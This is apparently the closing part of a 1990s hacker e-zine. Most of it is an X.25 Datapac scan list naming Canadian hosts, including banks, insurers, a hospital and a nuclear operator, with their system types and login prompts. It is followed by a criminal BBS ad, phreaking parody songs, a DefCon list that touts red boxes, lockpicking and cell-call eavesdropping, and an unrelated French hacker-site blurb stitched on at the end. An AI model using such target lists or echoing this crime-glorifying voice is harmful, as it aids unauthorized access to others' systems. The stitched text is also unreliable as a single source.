83501097             XMUX      node: DNCN0102
83501100             VAX/VMS   Simon Fraser University
83501126,console     XMUX      node: ALUMVAN
83501178             PRIMOS    20.2.6 METCIS
83501191             SCO       medinet  SCO SV/386
- 836 - BC       - Up to 2350
83600011             XMUX      node: 83600011
83600024             UNIX      j.Macaulay McColl AT&T Unix 486/33 Compulaw
83600041             VCX-100   Spantec Burnaby
83600055,ddpvan                ID=
83600055             XMUX      node: DDP
83600061             NOVELL
83600068             XMUX      node: COMX
83600069             XMUX      node: ALERTBAY
83600070             XMUX      node: UCLUELET
83600075             VAX/VMS   Micro VMS
83600082             XMUX      node: ASHVAN
83600103           $           Password
83600104             VAX/VMS
83600143             XMUX      node: HUNTDON
83600158             XMUX      node: JISI
83600171             RISC/AIX  AIX ver 3  for RISC /6000
83600171,console     XMUX      node: CRAWFORD
83600192             XMUX      node: COASTVAN
83600205             RSX-11 
83600221             XMUX      node: VAN
83600221             UNIX      Posix/RISC  MIPS
83600831             VAX/VMS
83600832             VAX/VMS   v5.42  Cominco TIMS
- 837 - BC       - Up to 400
83700154             XMUX      node: WLAKE
83700164             XMUX      node: PRUPERT
83700165             XMUX      node: PGEORGE
83700182           $           User name: 
83700275             XMUX      node: KELOWNA
83700287             XMUX      node: KELOWNA
83700288             INT/UNIX
83700289             INT/UNIX
83700290             INT/UNIX
83700291             INT/UNIX
83700292             INT/UNIX
83700293             INT/UNIX
83700294             INT/UNIX
83700295             INT/UNIX
- 838 - BC       - Up to 200
83800045                       iNet2000
83800046                       iNet2000
83800047                       iNet2000
83800048                       iNet2000
83800049                       iNet2000
- 841 - ALBERTA  - Up to 200
84100082,console     XMUX      node: RSLCAL
- 842 - ALBERTA  - Up to 200
84200050           $           SERVICE ID=
- 843 - ALBERTA  - Up to 200
84300098             XMUX      node: CALGARY
- 844 - ALBERTA  - Up to 800
84400095                       Minicom Data Corp. PROFITS Calgary (ABC)
84400169             XMUX      node: 315
84400237                       SERVICE ID=
84400286                       SERVICE ID=
84400310,console               node: CALGARY
84400312                       ENTER U#
84400400             XMUX      node: CGY
84400457             XMUX      node: GLENBOW
84400513             SUPERDOS  
84400526                       DATAPAC : BNF SYSTEM READY
84400571             MAJORBBS  Dialy Oil Bulletin's Electronic Oil & Gas BBS
84400583,console     XMUX      node: KOKOTOUR
84400583,banff                 Network Access attached to server CO-CO.
- 847 - ALBERTA  - Up to 220
84700002             UNIX
- 853 - ONTARIO  - Up to 220
85300019           $ VM/SP     BNRMER
85300044           $           DESTINATION:
85300089                       LEVITT SAFETY / OTTAWA
85300114                       Performs various tests
- 854 - ONTARIO  - Up to 1300
85400038             CYBER     (7/E/1) 
85400134             VAX/VMS   Geodetic Survey
85400152             VAX/VMS
85400178             STARMASTER Ottawa Starmaster PACX D/PAC_16
85400193             HP3000
85400194                       TACL 1>
85400209             UNIX      Zoomit
85400220             XMUX      node: SALES
85400222             XMUX      node: RODPAD1
85400232             VAX/VMS   Ottawa System A - Boot Node
85400233                       Cupid System  Enter User-Id
85400234                                "    "
85400257             XMUX      node:STORE030
85400317           $           # (server)
85400340             ISM       Canada Systems Group Ottawa Processing Centre
85400538             VAX/VMS   Bienvenue au C.S.L.F.O.C
85400575             VAX/VMS   MicroVMS v5.301
85400715           $ VAX/VMS
85401002             INETCO    magicnew
85401017                       Hello there, i received your call OK!
85401167             PACX      (user interface)
854011674            XMUX      node: X25MUXC
- 855 - ONTARIO  - Up to 200
85500001             ISM
85500104                       ONLINE SERVICES   ENTER USER ID-
85500115           $           Enter class:
- 857 - ONTARIO  - Up to 1500
85700049             VAX/VMS   Bondar-Clegg and Company Ltd.
85700204             XMUX      node: 309
85700205             XMUX      node: STORE003
85700210             VAX/VMS
85700211             VAX/VMS   ver: 5.4-2
85700540                       Datapac/Gateway 8723
85700545             XMUX      node: BUNTOTWA
85700700                       @
85700901           $              Datapac Public OD
85700902           $              Datapac Public OD
85701142                       n2agc>  enter system id
85701219             VAX/VMS   
85701260             ISM
85701264             Sim3278   ENTER PASSCODE:
85701265             Sim3278        ""
85701378,console     XMUX      node: X25PAD
8570137812           STARMASTER   STC XMUX PAD  USER NAME?
85701390                       SERVICE ID=
85701410             Sim3278   National Library of Canada
85701416                       Quantum Software Systems Ltd. 
85701427             XMUX      node: XMUX1
85701445             VAX/VMS
- 858 - ONTARIO  - Up to 800
85800406             VAX/VMS   FLASSB VAX 4000 
- 862 - ONTARIO  - Up to 250
86200146                       COM XXXX XXXX (where the X's is your ports NUA)
86200154                             ""
86200186                             ""
86200187                             ""
86200199                             ""  PHARWOOD  Daa loaded
- 871 - ONTARIO  - Up to 200
87100012             VAX/VMS   DATCOM
871000121            VAX/VMS   Nestle
87100024                       iNet2000
87100025                       iNet2000
87100063             VAX/VMS   Nestle
87100067                       iNet2000
- 872 - ONTARIO  - Up to 200
87200085             VAX/VMS   HSO Data Collection
8720010199                     TACL 1>
87200104             VAX/VMS   v5.5
- 873 - ONTARIO  - Up to 200
87300052             XMUX      node: TORONTO
- 874 - ONTARIO  - Up to 200
87400013             PRIMOS    22.1.3 CANADA
87400023                       Road Weather Information System/Aviation Brief
87400039             ISM
- 875 - ONTARIO  - Up to 200
87500009             UNIX      ERSI CANADA X.29 SERVICE
87500057                       ID
87500067             XMUX      node: STORE310
- 876 - ONTARIO  - Up to 250
87600117                       Minitel  USER ID:
87600123           $           VAX/VMS         
87600127                       #
87600142                       IBM INFORMATION SERVICES
87600152                       Enter User Name:
87600153                             ""
- 877 - ONTARIO  - Up to 200
87700026                       DNM114A
87700034           $           DNM114A
87700077,0                     (bank2)
- 881 - ONTARIO  - Up to 435
88100012                       MHP1201I TERMINAL CONNECTED TO PACKET/94
88100027             ISM
88100234             VAX/VMS   
88100267             XMUX      node: NFSTOR
- 882 - ONTARI0  - Up to 200
88200017             VAX/VMS   node: CAVAX1
- 883 - ONTARIO  - Up to 200
88300081                       (7/E/1) D&B READY. ENTER TRANSACTION NAME
88300082                         "          "          "       "
- 885 - ONTARIO  - Up to 250
88500035             XMUX      node: CRC
88500037                       $$ 4200 MODEL:
88500038                           ""
88500058                       Gesco Online System  Hello=
88500127                       SERVICE ID=
88500202                       Enter Access Code:
- 891 - ONTARIO  - Up to 500
89100037                       SERVICE ID=
89100076             VAX/VMS   VAX/VMS v5.5
89100201             PACX      M&G Gandalf PACX 2000 (User Interface)
89100201,console     XMUX      node: TORXMUX
89100248                       UNITEL DIALCOM 19.4Q.11 System 23
89100249                             ""      "" (fr)
89100282             VAX/VMS    
89100302             UNIX      X.29 Link Established
89100303             UNIX      X.29 Link Established
89100370                       SERVICE ID=
89100417                       XGATE:
- 894 - ONTARIO  - Up to 200
89400010                       iNet2000
89400011                       iNet2000
89400100                       iNet2000
- 901 - ONTARIO  - Up to 350
90100013                       MSG01I
90100019                        ""
90100057                       (E/7/1)  Compuserve
90100134             XMUX      node: 352
90100163             HP3000
90100236                       MSG01I
90100267                        ""
90100295             VAX/VMS
90100302             ISM
- 902 - ONTARIO  - Up to 200
90200059             ISM       ISM Corporation
90200109             VAX/VMS
- 903 - ONTARIO  - Up to 200
90300029             XMUX      node: STORE011
- 904 - ONTARIO  - Up to 200
90400015             RSX-11               
90400126                       DIAL - The G.Allan Roeher Institute
90400134             UNIX      Zoomit
90400138             ISM       SERVICE/SERVICE:==>
90400149                       SERVICE ID=
90400159             UNIX      (7/E/1) array login: 
- 906 - ONTARIO  - Up to 200
90600037             HP-UX     hris A.08.02.B 9000/827
90600065             STARMASTER
90600065,console     XMUX      node: GANDALF
90600160             Sim3278   ATRNETDR
- 911 - ONTARIO  - Up to 200
91100024           $           <> SUBS-TOR2 STRTC INC   DESTINATION:
91100044             STARMASTER
- 912 - ONTARIO  - Up to 200
91200048                       SERVICE ID=
- 913 - ONTARIO  - Up to 200
91300042             HP3000
- 916 - ONTARIO  - Up to 1000        
91600122             PRIMOS    ver 19.2.17  node: SYS91           
91600168             VM/SP
91600169             VM/SP     (Type L to logon to VCNTOC00 - The VM/SP)
91600237             VM/SP     
91600261             ISM      
91600274           $             Datapac Public OD
91600281           $                    " "
91600282           $                    " "
91600283           $                    " "
91600284           $                    " "
91600296           $                    " "
91600297           $                    " "
91600298           $                    " "
91600299           $                    " "
91600310           $                    " "
91600311           $                    " "
91600312           $                    " "
91600313           $                    " "
91600314           $                    " "
91600315           $                    " "
91600316           $                    " "
91600317           $                    " "
91600318           $                    " "
91600319           $                    " "
91600408                       Minicom Data Corp. System G0
91600529             VM/SP     
91600543           $           U#
91600579                       Minicom Data Corp. System F1
91600587             XMUX      node: SYNCON
91600679             AOS/VS
91600681             ISM       
91600748             XMUX      node: PAYPHONE
91600764             SIM3278
91600775             AOS/VS
91600801             XMUX      node: MANULIFE
91600812                       USS System?
91600858           $ VAX/VMS   SBSU 4/NETWORK HUB
91600901           $              Datapac Public OD
91600902           $                    ""
- 917 - ONTARIO  - Up to 675
91700115             UNIX      sierra!
91700178             Sim3278   XEROX CANADA
91700238                       ROYALNET
91700364             ANNEX     Port 28:
91700379             XMUX      node: XEROX
91700420                       NETWORK CONTROL  Which system?
91700420,console     XMUX      CMS 1 CONSOLE    node: CMS1
91700421                       NETWORK CONTROL  Which system?
91700421,console     XMUX      CMS 2 CONSOLE    node: CMS2
91700436             Sim3278
91700470             Sim3278   XEROX CANADA
91700471             Sim3278   XEROX CANADA
91700474                       SERVICE ID=
91700482                       MHP999I Enter Access Password:
91700487             ANNEX     Port 27
- 919 - ONTARIO  - Up to
91900900           $           Datapac Public OD
91900901           $                  ""
- 921 - ONTARIO  - Up to 200
92100009             ISM
92100019             ISM
- 931 - ONTARIO  - Up to 200
93100040                       USER-ID?  
93100112             XMUX      node: WINNIPEG
93100118             VAX/VMS   ...WINREG...
- 932 - ONTARIO  - Up to 900
93200017           $ VAX/VMS
93200177             XMUX      node: WINNIPEG 
93200186             VAX/VMS
93200231                       ::
93200232             XMUX      node: WINNIPEG
93200233             DEVELNET  UMnet (Univ. of Manitoba) 
93200289             XMUX      node: WINNPG2
93200294           $           TACL 1>
93200295             ISM       City of Winnipeg -- Network Servicess
93200512             XMUX      node: RSLWIN
93200517                       LEVITT SAFETY / WINNIPEG
93200533             XMUX      node: RSLSTB
93200664                       (I)nternational (D)atapac (T)elenet (M)emotec?
93200837                       ::
- 936 - MANITOBA - Up to 200
93600010             VAX/VMS
- 938 - MANITOBA - Up to 1300  
93800007                       CN TRACS MTL
93800014             UNIX      Manitoba Natural Resource Forestry X.29 Service
93800046             PACX      User interface
93800047                       C.I.S.  Term ID:AADA  System:CISWONL NAME
93800146                       SERVICE ID=
93800154             VAX/VMS   ver 5.4-2
93800209             VAX/VMS   NWWNPG v5.4-1
93800217             Sim3278
93800218             Sim3278
93800244                       TELPAY Bill Payment Service
93800263                       Wants a command
93800321             VAX/VMS
93800324           $ VAX/VMS   Freshwater Institute on node:WPGGRN
93800329                       ::
93800330                       SERVICE ID=
93800399                       <<1>> (2-3 letter commands)
93800418             PRIMOS    v 22.1.4.r39 node:PCSS
93800461                       SERVICE ID=
93800465                       CN TRACS MTL
93800466                        "
93800467                        "
93800469                        "
93800715                       Enter userid
93800728                       SERVICE ID= 
93800758             HP3000    HP3000.MB.WPIN  MPE XL
93800770             Sim3278
93800775                       TANGRAM ARBITER LU1
93800845             HP3000
93801015                       AMDAHL COMM. Inc. Serial Test Set
93801065             HP-UX     Generic-Sys(generic) [HP Release A.B9.00]
93801073           $           WINNIPEG - INAC
93801085                       Minicom Data Corp.  System JN
93801115,console     XMUX      node: WINNIPEG
93801175             XMUX      node: WINNIPEG
93801206                       $$ 4700 Correspondent:
93801229,console     XMUX      node: PORTAGE
93801263                       UTLAS   Logon Please
- 947 - ALBERTA  - Up to 800
94700091                       ALTALINK service
94700109                       ::
94700190                       LEVITT SAFETY / EDMONTON
94700292             PACX      (user interface)
94700357             HP3000    HP3000.AB.WPIN  MPE XL
947003571            HP3000DTC
94700421             VAX/VMS
94700450             RSTS
9470051498                     Control Port on Node Edmonton. Codex 6505 PAD
94700516             VAX/VMS
9470052499                     MPX.25102: PASSWORD
9470053598                     Control Port on Node Edmonton. Codex 6505 PAD
94700591             AOS/VS    Alberta Environmental Protectal DACQ
94700638             INT/UNIX
94700660,console     XMUX      node: ALUMEDM
94700675             XMUX      node: EDMONTON
- 948 - ALBERTA  - Up to 900
94800233             XMUX      node: 2  
94800355             RSX-11
94800405           $ SunOS     SunOS rel 4.1
94800406             VAX/VMS   MicroVMS v5.3
94800510             VAX/VMS   EDMONTON SYSTEM 1
94800516                       User ID? NORTH WEST COMPUTER SERVICES,INC
94800519             RSTS
94800524             HP9000    Edmonton Convention Centre
94800541             XMUX      node: EDMONASH
94800601             XMUX      node: EDMSO
94800604             INT/UNIX  INTERACTIVE Systems Corporation
94800605             INT/UNIX   
94800606             INT/UNIX  INTERACTIVE Systems Corporation
94800614             XMUX      node: EDMONTON
94800622             XMUX      node: (no node name)
94800650                       SERVICE ID=
94800661             HP3000
94800692             XMUX      node: EDMONTON
94800703             VAX/VMS
94800739             XMUX      node: NISKU
94800744             UNIX      GROW_TEC!
94800744,console     XMUX      node: NISKU
94800753,console     XMUX      node: EDMONTON
- 951 - ONTARIO  - Up to 300
95100030             XMUX      node: STORE387
95100058                       ::
95100130             HP3000    MIS.TOR.CANNEX
951001301            HP3000DTC CANNEX Financial Exchanges Limited
95100160             VAX/VMS
- 956 - ONTARIO  - Up to 200
95600009                       MHP201 LPACK378 Application:
95600011                       MHP1201I TERMINAL CONNECTED TO PACKET/74
- 957 - ONTARIO  - Up to 1325
95700001             XMUX      node: SAINT
95700157             VAX/VMS
95700179             VAX/VMS   MUKLUK
95700215             XMUX      node: STORE319
95700230             Sim3278   CANADA LIFE ASSURANCE CO.
95700235                       MHP201A UPK0BX20  Ver 6.0.2 APPLICATION:
95700238             QINTER    WBL (neat picture! )
95700273                       MSG01I
95700216             XMUX
95700495           $           MSG02F
95700615           $ Sim3278   Canada Life Assurance
95700658             XMUX      node: HO
9570079750           QINTER    AT Plastics Inc.  Brampton
95700857             VAX/VMS
95700858             VAX/VMS
95700859             VAX/VMS
95700860             VAX/VMS
95700861             VAX/VMS
95700906             Sim3278   CANADA LIFE ASSURANCE
95701110             Sim3278            ""
95701140             XMUX      node: HQ
- 958 - ONTARIO  - Up to 1050
95800074             AOS/VS
9580008499           INETCO    NCX
95800085             VAX/VMS   Canadian National Inst. for the Blind MicroVAX
958002637                      $$ 4200 MODEL:
95800334             PICK      Canadian National Inst. for the Blind           
95800347                       GLOBE AND MAIL   Please Log On
95800394             ISM
95800399                       ROYALNET
95800420                       Minicom Data Corp. System F0
95800438                       ID
95800448             Sim3278
95800449             Sim3278
95800451             VAX/VMS   SMCC12 Hosting EXPERT & TLN - ORNCC Systems
95800459             VM/SP     (Type L to connect)
95800462                       ROYALNET
95800492             VAX/VMS   
95800565                       MHP1201I TERMINAL CONNECTED TO PACKET/400
95800572             ISM       Prudential CDNO               
95800574             DECSERVER The MORE Program of Ontario
95800577             XMUX      node: HOST
95800592             UNIX
95800595                       (A Diamond is the prompt) 3 Attempts
95800655             VAX/VMS
95800656             VAX/VMS
95800900,0                     (A Bank of some type)
95800913           $           MSG01I
95801025                       Bye
- 961 - ONTARIO  - Up to 200
96100110             HP3000    CANADA.MT2.SALOMON    GENIUS:  (MPE XL)
961001101            HP3000DTC 
96100117                       $$ 4200 MODEL:
- 963 - ONTARIO  - Up to 600
96300078                       CONNECT:320 200 001
96300079                          "        100  "
96300223                       DATAPAC : LVL SYSTEM READY
96300238             UNIX      X.29 Terminal Service
96300291                       OCC System
96300292                           ""
96300478                       Welcome to Air Canada Record Keeper
96300492                       OCC System
- 971 - ONTARIO  - Up to 300  
97100031             DEVELNET  Credit Valley Hospital 
97100049             CYBER     Sherdidan Park Atomic Energy - Candu Operations
97100077                       iNet2000        
97100220             VAX/VMS
- 974 - ONTARIO  - Up to 200
97400010             HP3000
97400011             HP3000
- 975 - ONTARIO  - Up to 225
97500026             HP3000
97500051             XMUX      node: (no node name)
97500116                       SERVICE ID=
97500117                       SERVICE ID=
97500118                       SERVICE ID=
	 -  Deicide  -  

	 _______                                         _____________  
       /        | ___ ________  _______ _____ ____ _____|             | 
     /       _  |     \        \        \    |    |       \ _      _  | 
    |      /   \|  |   |   |    |   |    |   |    |   |    | |    |  \| 
    |     |     \ ___ /        /        /    |    |    __ /  |    |      
    |      \ _ /|     |        \        \         |   |      |    |      
     \          |     |    |    |   |    |        |   |      |    |     
     __\ _______|     |____|____|___|____|______ _| __|    __|____|_____  
   /         |_______ ___ ____ ___ ____ ______ /    \ ____|__    |      |
  |       _  |       |   |    |   |    |       \ __ /        |   |      |
  |       \ \|   ____|   |    |   |    |   |    |_|__      __|         /   
    \       \        |       /    |    |       /     |    |  \       /  
  |\_|       |   ____|       \         |       \     |    |   |     | 
  |          |       |   |    |        |   |    |    |    |   |     |    
  |________ /________|___|____|________|___|____|____|____|   |_____| 

Ever heard of the information highway?  Yeah, me too, so many times that if
I ever hear some loser who can't tell twisted pair from Twisted Sister mention
it again, I'm going to run him down with my information Corvette!  The media
and the politicians have made this the rallying cry of the techo-wannabe's who
are flooding the 'Nets with thier crys of "Information for the people!"  
Hmmmm... haven't I seen that before?  Isn't that what the true hackers have
been crying all along?

Well, the techno-wannabe's are in for a big shock.  If they think that the
information highway is some electronic El Dorado and the Internet is its 
foundation, then they better prepare themselves for the worst.  The internet
was around a long time before they got their Macintosh Quadra 640 and bought
an issue of Wired.  And during that time, the 'Nets grew from isolated 
electronic villages into a raging data metropolis.  The media and thier 
worshipers have it all wrong, you see.  Calling the international data networks
a 'highway' is like calling Los Angelos the Santa Monica Freeway.  The Internet
is not just some bundle of copper, but rather the worlds largest city where 
thoughts fly around the world in seconds.  

These newbies logging onto the net for the first time are not much different 
than the farmhands who flocked to New York after World War II.  They don't 
have the first clue how sophisticated the established city dwellers are and
only have an inkling of what really takes place in its streets.  I think
Bruce Sterling said it best when he wrote:

"Things happen there that have very serious consequences.  This 'place' is not
'real', but it is serious, it is earnest... Some people became rich and famous
from thier efforts there.  Some just played in it, as hobbyists.  Others soberly
pondered it, and regulated it, and negotiated over it in international forums,
and sued one another about it, in gigantic, epic court battles that lasted for
years.  And almost since the beginning, some people have committed crimes in
this place."

tH3 fAKtz
So if the Internet is a city of millions, than there are bound to more than
just shiny skyscapers and hallowed halls of learning.  Every city has its 
dark allies, its seedy bars, its whore houses, its head shops, its gambling
halls, its adult bookstores, and its pawnshops.  And every city has its
self righteous police force who are just as likely to be found hanging out
in these places as they are to be busting them.  This is the high standard
which Corrupt Sekurity BBS strives for!

This bbs serves as a meeting place for those who desire to exchange information
and meet people who are more interested in how the system works (and how it
can be abused) than in where to find the latest Cindy Crawford gif.  This is
a place where the crooks, the creeps, and the outcasts can hang out in complete
anonymousity without ever having to leave thier bedrooms. Here is the current
state of the bbs.  

-+ The system is currently in a beta test stage and will be fully online by
   September 1st.

-+ All accounts will be free until September 1st when we will be forced to 
   start charging a small fee in order to maintain the system.

-+ The price will be $7/month or $15/for three months

-+ Each month, 10 free accounts will be given out to the top five uploaders
   and top five message posters

-+ The first month, 20 free accounts will be given out to the top 20 users.

So what do you get for your hard earned money???

-+ Multi line chat
-+ Local and Internet connections
-+ Full/True Usenet support for selected news groups (like alt.2600)
-+ Many message bases with multi-level access (Currently Over 8000 Files)
-+ Completely anonymous, private mailing address (
-+ Multiple privilege levels from newbie to eleet.
-+ Ansi and color support
-+ Many file bases with multi-level access
-+ Private user file areas, to allow users to exchange files privately
-+ Unread message download feature
-+ Full IRC chat capabilities -- With [-TNoBoX-] 4.0 / BBS Ver.
-+ Plus all the standard shit you would expect from a decent board!

Login to the system under the userid of bbs to apply for an account,
however the system is not quite up yet... but if you are impatient, finger to get a quick update.  Or just mail
and put send info in the subject line and it will send you the most recent 
copy of this file.


--+ Elite Music Part III
--+ by John Falcon

A Trunk To Bangkok
- ----- -- -------
Our first stop is in Colorado
To check the TNO Scene
The natives smile and pass along
A sample of their yield
Sweet Microwave Uplinks's
Golden San Francisco trunks
Then by fiber, to the East,
Fly by laser light
We're on the trunk to Bangkok
Aboard the Thailand Express
We'll hit the stops along the way
We only stop for the best
Wreathed in lag in Lebanon
We burn the midnight oil
The clarity of Afghanistan
Rewards a long day's toil
Pulling into Katmandu
Phone rings fill the air
Trunking by a Nepal night
The Express gets you there
ESS Project
--- -------
Imagine a time when it all began
In the dying days of Crossbar
A phone switch -- that would settle the score
Whoever found it first would be sure to do their worst --
They always had before...
Imagine a man where it all began
A scientist pacing the floor
In each company -- always eager to explore
To build the best big stick
To turn the winning trick --
But this was something more...
Then MaBell rang -- took and shook the world
Shot down the blue box
the end was begun -- it would hit everyone
When the chain reaction was done
The big shots -- try to hold it back
John Draper try to wish it away
The whistler depend on a world without end
Whatever the phreakers may say
Imagine a place where it all began
They gathered from across the land
To work in the secrecy of bell's labs
All of the brightest boys
To play with the biggest toys --
More than they bargained for...
Imagine a man when it all began
John Draper with a blue box
Trying to avoid a trace on that mid-summer's day
All the powers that be, and the course of history,
Would be changed for evermore...

Tones of violence
Break the silence
2600 Comes crashing in
Into the operator's world
Easy for me
Pierce right through the
Can't you understand
That I need to call
All I ever wanted
All I ever needed
Is here at my hands
Bills are very unnecessary
They can only do harm
Codes are spoken
To be broken
Feelings are intense
Words are trivial
Pleasures remain
So does MaBell's pain
Codes are meaningless
And forgettable
All I ever wanted
All I ever needed
Is here at my hands
Bills are very unnecessary
They can only do harm
Enjoy the silence



Well so ends the long awaited CoTNo issue 4.  It was only luck that this 
issue was saved from the Fedz at all... but thats another story.  This issue
was officially released at DefCon2.  The Con was a raging success.  Remj,
Agent 866, and myself had a hell of a time.  We networked with some of the
world's greatest criminal minds and played havoc with one of Las Vegas's
shittiest hotels.  I am hoping to go to HoHoCon, so if you didn't catch
me at DefCon, I'll see you in Texas.  If you did miss the Con, here is a
list of things that I learned there.

			   Top 20 Things Learned
				at DefCon2
				by DeadKat

	1.  Just 'cause you can spot a Fed, doesn't meen you can make
	    him admit it.
	2.  Netax knows his bits.
	3.  Runaway chicks dig hackers.
	4.  The best hackers never tell you who they are.
	5.  Rogue Agent is just as friendly in real life as you would
	6.  Erik Bloodaxe and Drunkfux are more friendly in real life then 
	    you would expect.
	7.  Hackers never give out their info... unless they're in front
	    of a TV camera.
	8.  Dead Addict could fit into a shoe box if he wanted to.
	9.  Give a civilian a badge and he becomes a god.
       10.  Las Vegas has a radio station called KFBI... hmmm...
       11.  Gail Thackery never rags hackers to their face.
       12.  The C.C.C. can do ANYTHING with touchtones.
       13.  Maids who can't speak english will let anyone into your room.
       14.  All you really need is a rake and a tension wrench.     
       15.  Silver Serpent "wishes they would show the dick."
       16.  Def Con is secretly a conspiricy between Dark Tangent and 
	    the tee-shirt companies.
       17.  Hotel employees aren't hired for their brains.
       18.  A pack of Big Red makes an excellent disguise for a red box.
       19.  Not only can you listen in on other peoples conversations with
	    a cell phone, you can talk to them if you really want too.
       20.  You can buy anything at a Con if you know the right people.


Le but de ce site est de mieux comprendre la sécurité informatique.
Un hacker par définition est une personne qui cherche à améliorer les systèmes d'information dans le seul et unique but de contribuer à la stabilité de ces systèmes!
La croyance populaire laisse entendre que les hackers sont des pirates.
C'est vrai. Mais il y a différents types de pirate.
Tout comme il y a différents types de personnes.
Les bavures courantes auxquelles on pense lorsqu'on évoque le terme de pirate informatique
seraient les hacks de compte msn, ordinateurs lâchement trojantés avec des exploits déjà tous faits
et encore peut-on classifier en tant que hack le fait de spammer
alors que depuis plus de 15 ans des scripts tous faits le font extrêmement bien?

Ce ne sont pas des hackers qui font ça!!!
Nous appelons ces gens des lammers! Quand ils sont mauvais,
ou des black hat lorsqu'ils sont doués dans la mise en application de leurs méfaits.
Aucun amour propre - Aucune dignité
Agissent par dégout, vengeance ou simple plaisir.
Les raisons peuvent être nombreuses et je ne prétends pas devoir juger qui que ce soit.
Je pense juste que l'on ne doit pas utiliser l'épée de fly pour commettre des injustices.
Il est 100 fois plus profitable d'améliorer un système que de marcher sur un château de sable... même si marcher sur un château de sable est rigolo :P
A vous de trouver votre amusement. ;)

Tu peux réagir sur la shootbox

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Conformément aux dispositions des différentes lois en vigueur, intrusions et maintenances frauduleuses sur un site, vol et / ou falsification de données.
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